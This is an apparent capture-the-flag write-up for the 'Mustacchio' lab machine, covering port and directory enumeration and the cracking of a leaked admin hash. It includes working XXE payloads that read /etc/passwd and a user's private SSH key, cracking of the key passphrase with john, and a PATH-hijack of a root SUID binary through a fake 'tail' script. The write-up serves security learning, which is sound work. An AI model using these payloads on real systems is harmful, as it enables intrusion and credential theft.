Introduction

Mustacchio is an easy boot2root Linux machine. First we start with some enumeration and we find a sql database backup. Once we crack the admin password that we find on the backup, we can login to a web interface where XML code can be submited. SSH access can be obtained by using XXE to exfiltrate the private key of a user on the machine. Finally, we obtain root access by performing a path variable attack on a root SUID binary.

Enumeration

Port scanning

We start with a nmap scan and we find the following services running on the target.

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-14 10:42 EDT
Nmap scan report for 10.10.164.21
Host is up (0.069s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.21 seconds

Web enumeration

First we take a look at port 80 and we have the following static website.

Mustacchio website

When browsing the source code we dont find anything useful. Now we try some directory enumeration.

gobuster dir --wordlist /usr/share/dirb/wordlists/big.txt --url 10.10.164.21 -x php,html
/about.html           (Status: 200) [Size: 3152]
/blog.html            (Status: 200) [Size: 3172]
/contact.html         (Status: 200) [Size: 1450]
/custom               (Status: 301) [Size: 313] [--> http://10.10.164.21/custom/]
/fonts                (Status: 301) [Size: 312] [--> http://10.10.164.21/fonts/] 
/gallery.html         (Status: 200) [Size: 1950]                                 
/images               (Status: 301) [Size: 313] [--> http://10.10.164.21/images/]
/index.html           (Status: 200) [Size: 1752]                                 
/robots.txt           (Status: 200) [Size: 28] 

This enumeration reveals /custom directory which contains a backup file. Custom contents

We download the backup file and we find out that it’s a SQLite database.

$ file users.bak
users.bak: SQLite 3.x database, last written using SQLite version 3034001

We open it with sqlite3 users.bak. First we run .tables to get a list of the tables and we execute .dump users in order to dump the contents of the users table.

sqlite> .tables
users
sqlite> .dump users
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users(username text NOT NULL, password text NOT NULL);
INSERT INTO users VALUES('admin','1868e36a6d2b17d4c2745f1659433a54d4bc5f4b');
COMMIT;

We find a password hash for the ‘admin’ user. We use hashid to analyze the hash and we get that it’s a SHA-1 hash. Let’s try using CrackStation to get the plaintext password.

Crackstation screenshot

Now that we have the admin password bulldog19 let’s continue enumerating.

Login panel

On the nginx service that is running on port 8765 there’s a login panel. Admin panel screenshot

We are able to login with the credentials that we obtained on the previous step. On the admin panel page there is an input box where it appears that we can submit text. submit box screenshot

However, if we try to submit a comment we obtain a javascript alert saying “Insert XML Code!”. XML message screenshot

The form is expecting an XML document. We can test if there is a XXE vulnerability, but we need to know what’s the input format.

We look at the souce of the page and we obtain the following information:

  1. There’s an user “barry” who can login with a ssh private key file.
  2. Theres a file on /auth/dontforget.bak that might have useful information

First we download the .bak file and we find out that it’s a XML document that shows us the input format for the submit box.

<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment> 

Gaining Access

XXE

Now that we know the input format, let’s try XXE. First we read the /etc/passwd file to know the users on the target.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [<!ENTITY read SYSTEM "/etc/passwd"> ]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&read;</com>
</comment>

Output from XXE

We confirm that barry is an user on the box and that there is another user called “joe”. Now we try to read the private key file from barry.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [<!ENTITY read SYSTEM "/home/barry/.ssh/id_rsa"> ]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&read;</com>
</comment>

Output from XXE 2

However the key is protected by a passphrase. In order to crack the passphrase, we can use ssh2john and john.

$ python /usr/share/john/ssh2john.py sshhh > sshhh.hash
$ john --wordlist=~/rockyou.txt sshhh.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
urieljames       (sshhh)
1g 0:00:00:07 DONE (2021-10-14 12:55) 0.1282g/s 1838Kp/s 1838Kc/s 1838KC/sa6_123..*7¡Vamos!
Session completed

Now that we have the passphrase we can login to the machine.

user.txt

The user flag is on barry’s home directory.

Privilege Escalation

First we start looking for SUID misconfiguration and we find out that there’s a root ownwed file on /home/joe/live_log with SUID enabled.

barry@mustacchio:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/newuidmap
/usr/bin/gpasswd
/home/joe/live_log
/bin/ping
/bin/ping6
/bin/umount
/bin/mount
/bin/fusermount
/bin/su

We read its contents with strings command and we find that it executes the command tail without an absolute path. Therefore, we can create a malicious script called “tail” and insert it higher in the environment PATH variable so that it is executed instead of the tail command.

We create our malicious script on /tmp and make it executable with

chmod +x /tmp/tail

#!/bin/bash

bash -p

Then we add the /tmp directory to the beginning of our PATH variable.

barry@mustacchio:/tmp$ export PATH=/tmp:$PATH

Finally, we execute the live_log script.

barry@mustacchio:/tmp$ /home/joe/live_log 
root@mustacchio:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1003(barry)
root@mustacchio:/tmp# ls /root
root.txt